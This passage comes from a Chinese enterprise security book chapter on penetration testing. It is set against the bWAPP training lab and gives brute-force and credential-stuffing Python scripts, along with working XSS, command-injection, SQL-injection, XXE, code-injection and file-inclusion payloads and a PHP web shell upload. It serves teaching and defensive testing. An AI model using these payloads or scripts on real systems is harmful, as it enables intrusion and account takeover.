- 对本书的赞誉
- 序一
- 序二
- 序三
- 前言
- 第一部分 安全架构
- 第 1 章 企业信息安全建设简介
- 第 2 章 金融行业的信息安全
- 第 3 章 安全规划
- 第 4 章 内控合规管理
- 第 5 章 安全团队建设
- 第 6 章 安全培训
- 第 7 章 外包安全管理
- 第 8 章 安全考核
- 第 9 章 安全认证
- 第 10 章 安全预算、总结与汇报
- 第二部分 安全技术实战
- 第 11 章 互联网应用安全
- 第 12 章 移动应用安全
- 第 13 章 企业内网安全
- 第 14 章 数据安全
- 第 15 章 业务安全
- 第 16 章 邮件安全
- 第 17 章 活动目录安全
- 第 18 章 安全热点解决方案
- 第 19 章 安全检测
- 第 20 章 安全运营
- 第 21 章 安全运营中心
- 第 22 章 安全资产管理和矩阵式监控
- 第 23 章 应急响应
- 第 24 章 安全趋势和安全从业者的未来
- 附录
19.4 安全检测案例
安全检测的通常路径是通过信息收集寻找一些明显的特征,先探测是否有远程代码执行、任意文件上传、SQL 注入权限高等可直接利用的高危漏洞,如果有的话直接上传 WebShell 到网站目录中,进一步获取系统权限,对检测的目标进行黑白盒检测,发现更多安全性漏洞;如果没有直接远程利用漏洞,再找找任意文件下载、越权漏洞、业务逻辑、弱口令等漏洞进行组合式攻击,如通过任意文件下载漏洞获取到数据库连接账号和密码,由于权限较高,可以利用数据库获取操作系统权限。然后通过 Web 自动化漏洞扫描工具对系统常规性漏洞扫描,在操作系统业务功能时,收集一些关键业务功能,如涉及敏感信息、密码重置、支付功能、账户爆破等功能,再进行专向安全检测,最后对安全检测项检查清单过一遍,主要参考 OWASP 检测清单。
本节结合 bWAPP Web 漏洞靶机测试案例,介绍安全检测过程。
19.4.1 收集信息
使用 Nmap 工具对目标 IP 进行探测扫描,发现端口服务开放、操作系统类型等信息情况,如下所示获取到目标操作系统为 Windows,开放了 80,3306,3389,139 等端口,根据返回的信息,初步可以确认架构为 Windows+Apache+MySQL+PHP。
扫描命令:nmap -sS -Pn -sV -O 192.168.204.166,扫描结果如下所示:
使用 AWVS、Netsparker Web 自动化漏洞扫描工具对常规 Wb 漏洞扫描,如图 19-1 所示。
图 19-1 对常规 Web 漏洞扫描
人工验证漏洞,采用 Burpsuite 工具对一些关键性功能,如登录功能、支付功能、用户敏感信息功能、XML 传输功能等进行专向安全检测。
19.4.2 暴力破解
暴力破解攻击是指攻击者通过系统地组合并尝试所有的可能性,以破解用户的用户名、密码等敏感信息。攻击者往往借助自动化脚本工具来发动暴力破解攻击。
常见的漏洞点有:暴破用户名和密码、撞用户弱密码、图形验证码失效、图形验证码可识别、图形验证码回显、前端用户名或密码加密等情况。
下面例子可以直接暴破,目标地址为 http://192.168.204.166/bWAPP/login.php ,采用 Burpsuite 的 Intruder 模块对认证接口暴力破解,如图 19-2 所示。
图 19-2 待暴力破解页面
1)通过 Burpsuite 工具的 Proxy 模块,对登录页面的 HTTP 请求包拦截,并发送至 Intruder 模块,如图 19-3 所示。
图 19-3 对登录页面的 HTTP 请求包拦截
2)在默认标签 Postions 中选择 Cluster bomp 攻击类型,对 login 和 password 值选择,并分别点击 add$作为遍历的变量,后再选择 Payloads 标签,如图 19-4 所示。
3)在 Payload Sets→Payload set 选择 2,在 Payload type 中选择 Runtime File,并在 Payload Options 中选择对应的用户名和密码字典文件,同时根据实际情况可以设置线程数,如图 19-5 所示。
最后选择 Payloads 标签栏中右上角的 Start attack 按钮,进入 Intruder attack 框中,如图 19-6 所示。
跑完请求后,再根据返回的信息进行过滤,这里先把返回 200 状态的过滤掉如图 19-7 所示,发现用户名和密码,如图 19-8 所示。
用户名为 bee,密码为 bug,然后使用爆破得到的用户名密码登录,进入管理页面。
图 19-4 选择攻击类型
图 19-5 用户名和密码字典文件选择
图 19-6 Intruder attack 框
图 19-6 (续)
图 19-7 筛选信息
实际测试过程中会遇到目标系统使用了用户名或密码、用户名和密码组合加密、HTTP 包体加密采用了 AES、DES 加密等情况。用 Burpsuite 的 Intruder 模块和其他暴破工具,无法直接进行暴力破解,需要间接加密处理后才能暴力破解。笔者采用了 Python 脚本的多种方式来解决。如下案例,HTTP 的包体部分做了 AES 加密,需要暴力破解验证测试,笔者在实际案例采用的几种方式:
图 19-8 用户名、密码
·使用 Seleium 自动化测试工具模拟表单暴破。
·调用 js 加密算法进行暴破。
·调用加密算法函数。
登录框如图 19-9 所示。
图 19-9 登录框
1.Seleium 自动化方式
下面包体做了 AES 加密情况:
POST /sec/login HTTP/1.1
Host: sectest.com
Content-Length: 236
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT) Gecko/20100101 Firefox/57.0
Content-Type: text/plain; charset=UTF-8
Referer: http://sectest.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=C964B4C201C0DCE8C04844881E106D38
Connection: close
UYJiPK6CMJIREWXybTv/Ii/IM6xRWG4VSb7HJDa2yhjdg5XqzVRE7lH2aSXsCemH
验证性代码:
#coding=utf-8
from selenium import webdriver
import time
driver = webdriver.Chrome()
base_url = "http://sec.com/?login"
with open("user.txt","r") as users:
user = users.readlines()
with open("pwd.txt", "r") as pwds:
pwd = pwds.readlines()
for u in user:
for p in pwd:
u1 = u.strip()
p1 = p.strip()
url = base_url + "?"+ u
driver.get(url)
time.sleep(
2
)
driver.find_element_by_id("username").send_keys(u1)
driver.find_element_by_id("password").send_keys(p1)
driver.find_element_by_id("login").click()
time.sleep(1)
current_url = driver.current_url
if current_url != url:
print u1+":"+p1
driver.delete_all_cookies()
driver.close()
验证的结果如下所示:
steven:qweQWE123
jimmy:abc!@#
2.调用 js 加密算法
GET/auth/?Name=test&Pwd=fa04ab9fe8e7bb1d&check=f935ec66952eba530d924d862b5e7232 HTTP/1.1
Host:sectest.com
Connection:close
User-Agent:Mozilla/5.0(Windows NT)Gecko/20100101 Firefox/57.0
GET/auth/?Name=test&Pwd=fa04ab9fe8e7bb1d&check=f935ec66952eba530d924d862b5e7232 HTTP/1.1
Host: sectest.com
Connection: close
User-Agent: Mozilla/5.0 (Windows NT) Gecko/20100101 Firefox/57.0
Accept: */*
Referer: http://sectest.com/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=693AB2BA1D1393C212427103AC9799C8
在 js 文件搜索到加密规则:
var check = hex_md5(Func.getConfig().key + Name + Pwd);
password: stringToHex(des("dev#test" ,pwd, 1 , 0))
Func key: "cchash"
通过分析发现使用了 des 和 md5 加密,直接下载到本地磁盘上,方便调用。
部分验证的源代码:
import requests
import execjs
def get_js_hash(filename):
with open(filename, "r") as hashfile:
file = hashfile.read()
return file
brute():
ctx_des = execjs.compile(get_js_hash("des.js"))
ctx_md5 = execjs.compile(get_js_hash("md5.js"))
with open("user.txt","r") as users:
user = user.readlines()
with open("pwd.txt", "r") as pwds:
pwd = pwd.readlines()
success = open("success.txt","a")
for u in user:
for p in pwd:
check = ctx_md5.call("hex_md5","cchash"+u.strip()+p.strip())
#调用
hex_md5
函数
pwd1 = ctx_des.call("stringToHex",ctx_des.call("des","dev#test",p,1,0))
#调用
stringToHex
和
des
函数
r = requests.get("http://sectest.com/Auth/?Name="+u+"&Pwd="+pwd1+"&check="+check)
if "true" in r.content:
print r.content
success.write(u1.strip()+":"+strip())
else:
print u.strip()+"--"+r.content
success.close()
if __name__ == "__main__":
brute()
验证结果如下所示。
jsonp({"success":false,"message":"
用户账号或密码错误
"})
jsonp({"success":false,"message":"用户账号或密码错误
"})
jsonp({"success":false,"message":"用户账号或密码错误
"})
jsonp({"success":false,"message":"用户账号或密码错误
"})
jsonp({"success":false,"message":"用户账号或密码错误
"})
jsonp({"success":true,"message":"登录成功
"})
jsonp({"success":false,"message":"用户账号或密码错误
"})
jsonp({"success":false,"message":"用户账号或密码错误
"})
3.调用加密函数
前端登录页面中泄露了加密算法为 AES。先通过 getkey 获取到 key 和 iv,后采用 AES 对密码加密,收集手机号码进行撞密码攻击。
拦截到的请求包:
POST /login HTTP/1.1
Host: sectest.com
User-Agent: Mozilla/5.0 (Windows NT) Gecko/20100101 Firefox/57.0
Accept:/
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded;
X-Requested-With: XMLHttpRequest
Referer: http://sectest.com/login.html
mobile=13412341234&password=8cc9ecf55445a40d9aaab9fff33145a5
#coding:utf-8
import requests
import json
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
class prpcrypt():
def __init__(self,key,iv):
self.key = key
self.iv = iv
self.mode = AES.MODE_CBC
self.BS = AES.block_size
#补位
self.pad = lambda s: s + (self.BS - len(s) % self.BS) * chr(self.BS - len(s) % self.BS)
self.unpad = lambda s : s[0:-ord(s[-1])]
def encrypt(self,text):
text = self.pad(text)
cryptor = AES.new(self.key,self.mode,self.iv)
#目前
AES-128
足够目前使用
ciphertext = cryptor.encrypt(text)
#把加密后的字符串转化为
16
进制字符串
return b2a_hex(ciphertext)
#解密后,去掉补足的空格用
strip()
去掉
def decrypt(self,text):
cryptor = AES.new(self.key,self.mode, iv)
plain_text = cryptor.decrypt(a2b_hex(text))
return self.unpad(plain_text.rstrip('\0'))
#做了
Referer
和
cookies
控制
cookies = dict(sid='rs5hcsaE3LP9v5xs9cxiJe3vzlYwocug')
headers = {'user-agent': 'Mozilla/5.0 (Windows NT) Gecko/20100101 Firefox/ 57.0','Referer': 'http://sectest.com/login'}
#1获取
key
:
def get_pwd(password):
r = requests.post('https://sectest.com/getkey',cookies=cookies,headers=headers)
token = json.loads(r.text)
key = token['data']['key']
iv = token['data']['iv']
aes = prpcrypt(key, iv)
return aes.encrypt(password)
#2登录:
password = 'P@ssword'
for mobile in range(13012341234,13312341234):
data = {'mobile':mobile,'password':get_pwd(password)}
r = requests.post('http://sec.com/login',cookies=cookies,data=data, headers=headers)
print r.text
验证结果如下所示:
19.4.3 XSS 检测
XSS(Cross Site Scripting,跨站脚本攻击)的缩写为了和层叠样式表(Cascading Style Sheets,CSS)的缩写不造成混淆,故写为 XSS,XSS 是一种 Web 应用安全漏洞,它允许恶意 Web 用户将代码植入到提供给其他用户使用的页面。
常见的 XSS 大致分为:反射型、存储型、DOM 型:
·反射型 XSS 只是简单地把用户输入的数据回显给浏览器端,也就是说需要诱使用户“点击”一个恶意链接,才能攻击成功。
·存储型 XSS 会把用户输入的数据存放在服务器端,也叫“持久性 XSS”。例如用户交互的功能点,只要用户进入页面攻击代码将会执行。
·DOM 型 XSS 与前两者的差别是,只在客户端进行解析,不需要服务器的解析响应。
一般检测方式是在 URL 参数中随意输入类似"><img src=a onerror=alert('test')>探测脚本,如果没有回显的话,再换其他的探测脚本或缩小探测内容的范围,来判断是否对特殊字符过滤完全、编码问题等。如下检测 firstname 参数时,发现浏览器直接解析执行了测试脚本,说明漏洞存在。
http://192.168.204.166/bWAPP/htmli_get.php?firstname="><img
src=a onerror=alert('test')>&lastname="><img src=a onerror=alert('test')>&form=submit
Firefox 浏览器验证如图 19-10 所示。
图 19-10 Firefox 浏览器验证
Chrome 验证如图 19-11 所示。
http://192.168.204.166/bWAPP/iframei.php?ParamUrl=javascript:alert('sectest')//ParamWidth=250&ParamHeight=250
图 19-11 Chrome 验证
19.4.4 OS 命令执行检测
常用的 payload 模式有|、||、&、&&等:
·cmd1|cmd2:|表示将 cmd1 执行的结果输出给 cmd2 作为输入之用。
·cmd1||cmd2:||表示先执行 cmd1,成功后就不再执行 cmd2;否则失败的话,则执行 cmd2。
·cmd1&cmd2:&表示先执行 cmd1 再执行 cmd2,不管 cmd1 是否成功,都会执行 cmd2。
·cmd1&&cmd2:&&表示先执行 cmd1,成功后再执行 cmd2;否则失败的话,则不执行 cmd2。
·cmd1;cmd2:表示连接符号,执行完 cmd1 后再执行 cmd2。
应用业务场景主要涉及工具类功能、关闭重启类功能、系统信息查看类功能等。
一般涉及命令执行的功能处,可以加入上面 payload 来探测是否存在命令执行漏洞,如下直接输入 test.com&ipconfig,返回了定制命令的结果,说明漏洞存在:
http://192.168.204.166/bWAPP/commandi.php
通过输入一个域名 test.com 测试,返回信息进行了解析操作,如图 19-12 所示。
图 19-12 信息解析
后在执行 test.com&ipconfig 发现返回了 IP 地址,说明存在 OS 命令执行漏洞,如图 19-13 所示。
图 19-13 漏洞验证
19.4.5 SQL 注入检测
常见的 SQL 注入类型主要包含几种:
·可显:攻击者可以在当前界面中获取数据库内容。
·报错:攻击者可以构造数据库报错语句,从报错信息中获取数据库内容。
·盲注:攻击者可以通过数据库逻辑或执行延时等方式获取数据库内容。
常用的探测方式是在参数值后输入','or'1'='1,and 1=1,'and'1'=',or 1=1 等方式提交,查看服务器端返回的结果来判断,数字时输入+-:
http://192.168.204.166/bWAPP/sqli_1.php?title=&action=search
随意输入一个',出现 SQL 报错消息提示,再添加一个'后提交请求,发生了闭合,说明可能存在 SQL 注入问题:
Error:You have an error in your SQL syntax;check the manual that corresponds to your MySQL server version for the right syntax to use near'%''at line 1
通过 Sqlmap 工具进行验证,发现存在 SQL 注入漏洞,如下所示:
19.4.6 XML 实体注入检测
XXE 实体注入检测(XML External Entity Injection,也叫 XML 注入)是指 XML 外部实体注入攻击。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。
在 XML1.0 标准里,XML 文档结构里定义了实体(entity)这个概念。实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容。如果在这个过程中引入了“污染”源,在对 XML 文档处理后则可能导致信息泄漏等安全问题。当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
一般采用 XML 传输数据时,可能存在 XML 注入安全漏洞。下面类似这种请求方式,可以通过探测方式检测是否存在漏洞,结果如图 19-14 所示。
验证请求包如下:
POST /bWAPP/sqli_8-2.php HTTP/1.1
Host: 192.168.204.166
Content-Length: 59
Origin: http://192.168.204.166
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/537.36
Content-type: text/xml; charset=UTF-8
Accept: */*
Referer: http://192.168.204.166/bWAPP/sqli_8-1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: security_level=0; PHPSESSID=1661b0dbf3rqteje50r4nrlu37
Connection: close
<reset><login>bee</login><secret>Any bugs?</secret></reset>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]><reset><login> bee&xxe;</login><secret>Any bugs?</secret></reset>
19.4.7 代码注入
代码注入攻击(code injection attack)通常是指在应用程序中注入要执行的代码片段。这种类型的攻击利用目标程序没有对不信任的数据进行验证,通常因为缺少对输入输出数据的验证。
下面 message 参数没有对输入做验证,导致输入的字符串值转换成了代码执行,如图 19-15 所示。
图 19-14 XML 注入安全漏洞结果
验证 URL: http://192.168.204.166/bWAPP/phpi.php?message=system(ipconfig) 。
图 19-15 错误的 message 参数导致的乱码
19.4.8 文件上传漏洞检测
文件上传漏洞是对用户上传的文件类型判断不完善,导致攻击者上传非法类型的文件。常见的几类:客户端 js 校验、服务端后缀名、服务端内容检查、中间件解析漏洞、文件路径截断、HTTP 不安全方法(PUT 协议)、条件竞争、MIME 类型绕过等。
在实际中会遇到一些奇葩的情况。服务端返回消息为导入失败和文件上传失败的消息,一般情况下会判断为不存在文件上传漏洞,实际上 WebShell 已成功上传到服务器上。一般通过上传路径猜测或在服务器端发现,所以不要被返回的消息误导。
找到文件上传功能点,上传一个图片文件,通过 Burpsuite Proxy 模块拦截请求,篡改提交,如下所示:
POST /bWAPP/unrestricted_file_upload.php HTTP/1.1
Host: 192.168.204.166
Content-Length: 11714
Cache-Control: max-age=0
Origin: http://192.168.204.166
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBLreeGT9kLW3BBI7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.204.166/bWAPP/unrestricted_file_upload.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: security_level=0; PHPSESSID=5pri7tmkbid0sv86vao37fant7
Connection: close
------WebKitFormBoundaryBLreeGT9kLW3BBI7
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg
ÿøÿà
使用 burpsuite 拦截上传文件请求,把请求包中的 test.jpg 更改成 test.php,包体内容更改成<?php system($_GET["cmd"]);?>后提交。
访问上传后的文件,可以成功执行系统命令,如图 19-16 所示。
http://192.168.204.166/bWAPP/images/test.php?cmd=whoami
图 19-16 文件上传成功后只需命令
19.4.9 支付漏洞检测
支付漏洞可以篡改金额大小,达到低价格购买高价格的产品目的,对企业来说直接造成资金损失,危害很大。支付漏洞一般出现在涉及购买、资金、交易等方面的功能处。常见的问题点:修改支付金额大小(包括负数、小数、无限大值)、修改支付状态、修改商品数量、重复支付、修改优惠价、重放攻击、越权支付、多线程并发等。
下面的检测通过代理拦截 HTTP 数据包,篡改金额为 0.01 可以成功支付,如图 19-17 所示。
图 19-17 通过代理拦截 HTTP 数据包
19.4.10 密码找回漏洞
“密码找回”功能主要涉及的漏洞点有:验证码暴力破解、验证码回显、跳过验证步骤、邮箱或手机号绑定、本地验证绕过、密码找回的 Token 可预测等,如下所示:
·验证码暴力破解:验证码可以暴力破解。
·验证码回显:服务端直接返回验证码。
·跳过验证步骤:跳过验证步骤、找回方式,直接到新密码设置页面。
·邮箱、手机号绑定:绑定邮箱、手机号时,直接修改 userid 或其他用户的邮箱为自己的。
·本地验证绕过:客户端在本地对验证码进行判断,一般都经过篡改返回的值来绕过客户端校验。
·密码找回的 Token 可预测:token 为服务器的时间、token 为时间戳 md5 值。
下面输入任意账号查询时,服务端直接返回密码信息,如图 19-18 所示。
图 19-18 查询密码
19.4.11 文件包含漏洞
文件包含漏洞是指如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式:
·本地文件包含:被包含的文件在本地服务器上时。
·远程文件包含:被包含的文件在第三方服务器时。
下面通过测试发现可以获取到本地服务器上的文件,如图 19-19 所示。
http://192.168.204.166/bWAPP/rlfi.php?language=c:\windows\win.ini&action=go
图 19-19 获取本地服务器上的文件
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论